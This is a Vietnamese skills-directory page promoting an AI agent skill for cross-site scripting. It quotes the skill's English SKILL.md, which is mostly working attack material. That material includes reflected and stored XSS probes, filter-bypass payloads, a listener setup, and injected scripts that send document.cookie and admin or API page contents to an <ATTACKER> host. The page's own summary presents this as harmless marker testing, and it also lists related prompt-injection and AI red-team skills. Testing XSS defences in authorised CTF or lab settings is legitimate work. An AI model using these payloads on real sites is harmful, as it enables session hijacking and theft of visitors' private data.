xss
Skill này làm gì
Hướng dẫn này nói về lỗi cross-site scripting, khi ứng dụng chạy mã không đáng tin trong trình duyệt của người truy cập. Dành cho lập trình viên và người kiểm thử bảo mật kiểm tra cách đầu vào và đầu ra được làm sạch.
Khi nào nên dùng
- ✓Khi một kiểm thử được ủy quyền tìm thấy đầu vào xuất hiện không thay đổi trên trang.
- ✓Khi một ô tìm kiếm, bình luận hoặc hồ sơ hiển thị nội dung người dùng trên màn hình của những người truy cập khác.
- ✓Khi một nhóm muốn kiểm tra content security policy của mình so với việc chèn script.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Trang tìm kiếm của chúng tôi dường như hiển thị đúng những gì người dùng gõ mà không làm sạch. Bạn có thể kiểm tra xem đó có phải rủi ro cross-site scripting không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi văn bản đánh dấu vô hại, kiểm tra xem nó có xuất hiện không được escape trong trang không, rồi báo cáo những chỗ đầu ra cần được mã hóa đúng cách hoặc có chính sách nội dung chặt hơn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
The standard CTF XSS workflow:
- Find a stored input (comments, profiles, messages)
- Inject a payload that exfiltrates data when the admin bot views it
- Trigger the bot (usually a
/reportendpoint) - Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
Reflected XSS Flag Extraction
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x onerror="alert(1)">
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag bloc
Câu hỏi thường gặp
Ba loại là gì?
Hướng dẫn bao gồm cross-site scripting phản chiếu, lưu trữ và dựa trên DOM.
Content security policy là gì?
Đó là thiết lập trình duyệt giới hạn các script mà trang được chạy, và hướng dẫn nhắc đến nó như một biện pháp phòng thủ.
Một phát hiện được xác nhận như thế nào?
Bằng cách cho thấy văn bản thử nghiệm xuất hiện không được escape trong trang mà lẽ ra phải được mã hóa.
Chi tiết
Mô tả gốc của tác giả
Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14088
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.